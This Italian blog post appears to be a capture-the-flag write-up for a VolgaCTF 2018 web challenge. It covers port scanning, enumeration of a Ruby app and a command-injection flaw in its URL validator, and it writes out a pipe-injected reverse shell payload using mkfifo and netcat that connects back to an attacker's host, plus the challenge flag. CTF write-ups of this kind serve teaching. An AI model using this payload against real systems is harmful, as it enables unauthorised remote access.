GG a tutti,

Prima di iniziare vorrei ringraziare tutti i membri di JBZ Team per averci aggiunti nel loro team ed aiutato a risolvere questa challenge.

In questa challenge il nostro target era: http://old-government-site.quals.2018.volgactf.ru:8080

iniziamo subito facendo una scansione delle porte con nmap.

 

 nmap -sS -sV -Pn -vv old-government-site.quals.2018.volgactf.ru

nmap-volga

 

Ora visitiamo la porta 8080 che è la porta dove gira la nostra web app in ruby.

old goverment site

Cazzeggiando un po’ in giro per il sito troveremo di sicura la pagina /page?id=

quindi utilizziamo wfuzz per fare un po’ di enumeration:

 

wfuzz -c -z range,1-100 –hw 307 http://old-government-site.quals.2018.volgactf.ru:8080/page?id=FUZZ

 

Andando a visitare la pagina /page?id=18 troveremo un form che ci richiede un URL di un sito e se questo URL esiste davvero stamperà a schermo:  validated altrimenti stamperà error.

form-volga

Ora andiamo a visitare la porta 8090 su cui troveremo un Directory listing e scarichiamoci i sorgenti app.rb page18.erb

app.rb:

sorgenti volga (app.rb)

page18.erb:

sorgenti volga (page18.erb)

ok ora abbiamo i sorgenti andiamo ad analizzarli:

sitevalitador-Volga

Questa è la funzione vulnerabile che ci permettere di effettuare una RCE, per precisione la terza riga. maggiori informazioni qui: https://sakurity.com/blog/2015/02/28/openuri.html

Exploitation

per chi come me non avesse la possibilità di avere un ip pubblico consiglio di utilizzare ngrok

mettiamo in ascolto netcat con il comando:

nc -lvvp <port>

e utilizziamo il carattere ” | ” (senza virgolette) per concatenare comandi ed ottenere una reverse shell  con la seguente payload:

 

| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc “ip” “port” >/tmp/f

Ottenere una full tty

Ora cerchiamo di ottenere una full tty:

python -c ‘import pty;pty.spawn(“/bin/bash”)’
settiamo la variabile d’ambiente con:
export TERM=xterm

La flag

VolgaCTF{dedicated_to_all_goverment_site}

 

Categorie: CTF

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *